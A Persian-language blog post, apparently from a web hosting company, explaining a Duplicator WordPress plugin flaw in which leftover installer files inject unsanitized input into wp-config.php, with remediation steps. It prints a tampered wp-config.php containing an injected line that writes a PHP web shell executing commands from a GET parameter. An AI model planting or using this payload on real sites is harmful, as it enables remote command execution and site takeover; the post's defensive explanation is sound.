مشکل امنیتی افزونه Duplicator وردپرس + راه حل مشکل

زهرا نادری
WordPress-Duplicator-Exploit-Mashhadhost

به تازگی مشاهده شده است که بسیاری از وب سایت هایی که از CMS وردپرس استفاده میکنند دچار اختلال و یا هک شده اند ، پس از بررسی متوجه شدیم که مشکل از فایل های installer.php (افزونه Duplicator) است.

افزونه Duplicator یکی از پرکاربرد ترین افزونه های وردپرس برای بک آپ گیری و انتقال سایت های وردپرسی هستش

این باگ باعث میشه اختلالات زیادی مثل حذف شدن مشخصات دیتابیس از فایل کانفیگ وردپرس به وجود بیاید که در این صورت سایت با پیغام دیتابیس مواجه می شود:

Error establishing a database connection

 

در زمانی که قالبی را نصب میکنید  بعد از پایان کار و استفاده از افزونه، فایل های installation باقی مانده توسط کاربر از روی هاست پاک نمی شوند. خود افزونه Duplicator این موضوع را به کرات به کاربر گوشزد می کند

بعد از پایان کار افزونه، این پیغام به صورت sticky داشبورد نمایش داده میشه و تا زمان پاک کردن فایل های نصبی (و یا uninstall کردن افزونه) باقی می ماند:

فایل های مخرب اصلی در این باگ، دو فایل installer.php و installer-backup.php هستند و چون استرینگ های دریافتی را اصطلاحا بدون تمیز کاری (sanitizing)‌ مستقیما به فایل wp-config وارد می کنند باعث به وجود آمدن injection vulnerability در سایت می شوند.

 

این مشکل چگونه به وجود می آید؟

همونطور که میدانید با استفاده از افزونه Duplicator کلیه تنظیمات و اطلاعات دیتابیس، قالب وردپرس، افزونه‌های وردپرس و به طور کلی هر اطلاعاتی که در وردپرس دارید این امکان رو پیدا میکنه که یک نسخه خروجی ازش تهیه کنید. در این نسخه خروجی شما دو فایل installer.php و فایی که شامل محتویات سایت و دیتابیس هست رو خواهید داشت که با استفاده از فایل database.sql هم امکان درون ریزی داده‌های دیتابیس در سایت جدید فراهم خواهد شد.

حالا وقتی که تصمیم به نصب قالب با استفاده از بسته نصبی در سایت خودتون میگیرید، فایل‌های database.php، installer.php، installer-backup.php، installer-log.txt و installer-data.sql و پوشه wp-snapshot نیز در کنار سایر فایل‌های پیشفرض وردپرس قرار میگیرند. مشکل هک وردپرس درست از همینجا آغاز میشه که به دلیل وجود باگ در این افزونه باعث میشه که هکر بتونه امکان دو بار نصب وردپرس رو به دست بیاره که یک بار هم مشابه همین مشکل در سال گذشته رخ داد و باعث هک بسیاری از سایت‌های وردپرسی شد.

این موضوع باعث میشه که هکر در مرحله اول سایت شما را ریست بکنه و با ارسال یک سری فایل مخرب فایل wp-config.php وردپرس را ویرایش کرده و از نو بازنویسی بکنه که این مسئله اولین قدم برای از دست خارج شدن سایت هست. طی بررسی که روی چند فایل wp-config.php برخی سایت‌ها داشتیم کدهای این فایل به شکل زیر تغییر کرده بودند.

/** The name of the database for WordPress */
define('DB_NAME', 'test
'); file_put_contents("test.php", '<pre><?php if
(isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>');
/
*
');
/** MySQL database username */
define('DB_USER', 'test');
/** MySQL database password */
define('DB_PASSWORD', 'test');
/** MySQL hostname */
define('DB_HOST', 'nowhere:12345');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

همونطور که میبینید اطلاعات دیتابیس به صورت کلی از بین رفته و با چیز دیگه جایگزین شده و علاوه بر این هم یک سری کد در این فایل تزریق شده که باعث شده هکر یک درب پشتی برای هک مجدد برای خودش ایجاد بکنه. بعد از این هک گسترده معمولا با دو مشکل اساسی مواجه خواهید شد.

  • وقتی با دستکتاپ وارد سایتتون بشید با خطای ۵۰۰ در وردپرس مواجه می‌شوید.
  • وقتی با موبایل وارد سایت شوید با ریدایرکت شدن از چند آدرس به آدرس دیگه در نهایت به شکلی به صفحات تبلیغ و اسپم هدایت خواهید شد.

مسئله بعدی که رخ میده اینه که علاوه بر فایل‌های پیشفرض وردپرس یک سری فایل php و web.config دیگه هم در public_html سایت شما اضافه خواهد شد. که تمامی مشکلات و هک شدن سایت به خاطر پاک نکردن فایل installer.php و عدم آپدیت این افزونه به وجود اومده.

 

راه حل

  • افزونه Duplicator را آپدیت کنید. چون patch مربوط به باگ توسط شرکت صادر شده که تا حد زیادی مشکل رو رفع می کنه.
  • فایل هایی که دربارش صحبت شد (installer.php and installer-backup.php) و یا هر فایل دیگه ای که مربوط به بازگردانی بک آپ توسط افزونه میشه را از روی هاست خود پاک کنید. ممکنه فایل هایی با اسم database.sql را هم ببینید که باید حذف بشه.
  • جهت اطمینان رمز دیتابیس وردپرس را ریست کنید.
  • باز هم جهت اطمینان، فایل wp-config.php را پاک کنید و مجددا بسازید. از این API وردپرس استفاده کنید تا کلید های امنیتی برای فایل بسازید و در آن جایگزین کنید.
2
اشتراک گزاری
زهرا نادری
naderi

حدود 7 سالی هست که در زمینه وب به صورت تخصصی فعالیت می کنم، در دانشگاه IT خوانده ام و علاقه زیادی به کسب تجربه در زمینه تجارت الکترونیک و طراحی وبسایت دارم .

انصراف از پاسخ